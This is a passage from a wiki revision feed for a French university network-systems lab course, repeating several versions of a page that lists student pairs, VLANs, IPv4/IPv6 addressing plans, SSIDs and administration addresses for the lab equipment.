| Johnny Gouvaert / Arthur Vercaemst&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]&lt;br /&gt;
| Mel Theo&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]&lt;br /&gt;
| Khalil Alvare&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]&lt;br /&gt;
| Souleyman Enoch&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]&lt;br /&gt;
| Clément&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Plan d'adressage=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 11 || 10.11.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.11.0.250 || 10.11.0.251 || 10.11.0.252 || 10.11.0.253 || Marguerite || Paixdieu&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 02 || 10.2.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 03 || 10.3.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 04 || 10.4.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 05 || 10.5.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 06 || 10.6.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke&lt;br /&gt;
|- &lt;br /&gt;
| Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 08 || 10.8.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 09 || 10.9.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona&lt;br /&gt;
|-&lt;br /&gt;
| INTERCO || 531 || 192.168.222.72/29 ||  || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 ||  || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Table du VLAN 42&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! @IPv4 MV !! @IPv6 MV (auto) &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 193.48.57.176/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 193.48.57.177/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 193.48.57.178/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 193.48.57.179/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 193.48.57.180/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 193.48.57.181/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 193.48.57.182/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Mel / Theo || 193.48.57.183/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 193.48.57.184/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 193.48.57.185/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 193.48.57.186/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Note : &lt;br /&gt;
&lt;br /&gt;
'''à compléter '''&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2&lt;br /&gt;
|-&lt;br /&gt;
| ROUTEUR E304&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.187&lt;br /&gt;
| &lt;br /&gt;
| :: :F0&lt;br /&gt;
| :: :F0&lt;br /&gt;
| 10.NN.00.250&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR E306&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.188&lt;br /&gt;
| &lt;br /&gt;
| :: :F1&lt;br /&gt;
| :: :F1&lt;br /&gt;
| 10.NN.00.251&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR SR52&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.189&lt;br /&gt;
| &lt;br /&gt;
| :: :F2&lt;br /&gt;
| :: :F2&lt;br /&gt;
| 10.NN.00.252&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR FLOTTANTE&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.190&lt;br /&gt;
| &lt;br /&gt;
| :: :F3&lt;br /&gt;
| :: :F3&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO 531 INTERCO-SA&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.40/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E304&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.41/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E306&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.42/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO SR53&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.43/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
!--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv4 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv6 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Administration =&lt;br /&gt;
Vlan 1 = Vlan d'administration&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom de l'appareil !! IPv4&lt;br /&gt;
|-&lt;br /&gt;
|router e306 || 10.1.0.1/24 &lt;br /&gt;
|-&lt;br /&gt;
|router e304 || 10.1.0.2/24 &lt;br /&gt;
|-&lt;br /&gt;
|ap e306 || 10.1.0.3/24 &lt;br /&gt;
|-&lt;br /&gt;
|ap e304 || 10.1.0.4/24&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Architecture réseau=&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56787</id>
		<title>TP sysres IMA5sc 2021/2022</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56787"/>
				<updated>2021-11-30T15:00:32Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]&lt;br /&gt;
| Andrei Florea / Julien Delabre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]&lt;br /&gt;
| Robin Lasserye / Aviran Tetia &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]&lt;br /&gt;
| Axel Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]&lt;br /&gt;
| Selim Raphael&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]&lt;br /&gt;
| Helene Camille&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]&lt;br /&gt;
| Boris JACQUOT / Louis WADBLED&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]&lt;br /&gt;
| Johnny Gouvaert / Arthur Vercaemst&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]&lt;br /&gt;
| Mel Theo&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]&lt;br /&gt;
| Khalil Alvare&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]&lt;br /&gt;
| Souleyman Enoch&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]&lt;br /&gt;
| Clément&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Plan d'adressage=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 11 || 10.11.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.01.0.250 || 10.11.0.251 || 10.11.0.252 || 10.11.0.253 || Marguerite || Paixdieu&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 02 || 10.2.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 03 || 10.3.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 04 || 10.4.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 05 || 10.5.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 06 || 10.6.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke&lt;br /&gt;
|- &lt;br /&gt;
| Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 08 || 10.8.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 09 || 10.9.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona&lt;br /&gt;
|-&lt;br /&gt;
| INTERCO || 531 || 192.168.222.72/29 ||  || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 ||  || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Table du VLAN 42&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! @IPv4 MV !! @IPv6 MV (auto) &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 193.48.57.176/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 193.48.57.177/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 193.48.57.178/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 193.48.57.179/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 193.48.57.180/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 193.48.57.181/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 193.48.57.182/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Mel / Theo || 193.48.57.183/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 193.48.57.184/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 193.48.57.185/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 193.48.57.186/28 || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Note : &lt;br /&gt;
&lt;br /&gt;
'''à compléter '''&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2&lt;br /&gt;
|-&lt;br /&gt;
| ROUTEUR E304&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.187&lt;br /&gt;
| &lt;br /&gt;
| :: :F0&lt;br /&gt;
| :: :F0&lt;br /&gt;
| 10.NN.00.250&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR E306&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.188&lt;br /&gt;
| &lt;br /&gt;
| :: :F1&lt;br /&gt;
| :: :F1&lt;br /&gt;
| 10.NN.00.251&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR SR52&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.189&lt;br /&gt;
| &lt;br /&gt;
| :: :F2&lt;br /&gt;
| :: :F2&lt;br /&gt;
| 10.NN.00.252&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| ROUTEUR FLOTTANTE&lt;br /&gt;
| &lt;br /&gt;
| 193.48.57.190&lt;br /&gt;
| &lt;br /&gt;
| :: :F3&lt;br /&gt;
| :: :F3&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO 531 INTERCO-SA&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.40/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| 10.NN.00.253&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E304&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.41/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| fe80::/10    ::1&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO E306&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.42/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| fe80::/10    ::2&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|- &lt;br /&gt;
| Vlan INTERCO SR53&lt;br /&gt;
| &lt;br /&gt;
| 192.168.222.43/29&lt;br /&gt;
| &lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| fe80::/10    ::3&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
!--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv4 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* Plan d'adressage IPv6 :&lt;br /&gt;
{| class=&amp;quot;plan_addr&amp;quot;&lt;br /&gt;
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Administration =&lt;br /&gt;
Vlan 1 = Vlan d'administration&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom de l'appareil !! IPv4&lt;br /&gt;
|-&lt;br /&gt;
|router e306 || 10.1.0.1/24 &lt;br /&gt;
|-&lt;br /&gt;
|router e304 || 10.1.0.2/24 &lt;br /&gt;
|-&lt;br /&gt;
|ap e306 || 10.1.0.3/24 &lt;br /&gt;
|-&lt;br /&gt;
|ap e304 || 10.1.0.4/24&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Architecture réseau=&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56723</id>
		<title>TP sysres IMA5sc 2021/2022</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2021/2022&amp;diff=56723"/>
				<updated>2021-11-29T17:55:18Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]&lt;br /&gt;
| Andrei Florea / Julien Delabre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]&lt;br /&gt;
| Robin Lasserye / Aviran Tetia &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]&lt;br /&gt;
| Axel Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]&lt;br /&gt;
| Selim Raphael&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]&lt;br /&gt;
| Helene Camille&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]&lt;br /&gt;
| Boris JACQUOT / Louis WADBLED&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]&lt;br /&gt;
| Johnny Gouvaert / Arthur Vercaemst&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]&lt;br /&gt;
| Mel Theo&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]&lt;br /&gt;
| Khalil Alvare&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]&lt;br /&gt;
| Souleyman Enoch&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]&lt;br /&gt;
| Clément&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Plan d'adressage=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM &lt;br /&gt;
|- &lt;br /&gt;
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg&lt;br /&gt;
|-&lt;br /&gt;
| Robin / Aviran || 11 || 10.01.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.01.0.250 || 10.11.0.251 || 10.11.0.252 || 10.11.0.253 || Marguerite || Paixdieu&lt;br /&gt;
|-&lt;br /&gt;
| Axel / Guillaume || 02 || 10.02.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel&lt;br /&gt;
|-&lt;br /&gt;
| Selim / Raphael || 03 || 10.03.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet&lt;br /&gt;
|-&lt;br /&gt;
| Helene / Camille || 04 || 10.04.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff&lt;br /&gt;
|-&lt;br /&gt;
| Boris / Louis || 05 || 10.05.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose&lt;br /&gt;
|-&lt;br /&gt;
| Johnny / Arthur || 06 || 10.06.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke&lt;br /&gt;
|- &lt;br /&gt;
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon&lt;br /&gt;
|-&lt;br /&gt;
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| Souleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache&lt;br /&gt;
|-&lt;br /&gt;
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona&lt;br /&gt;
|-&lt;br /&gt;
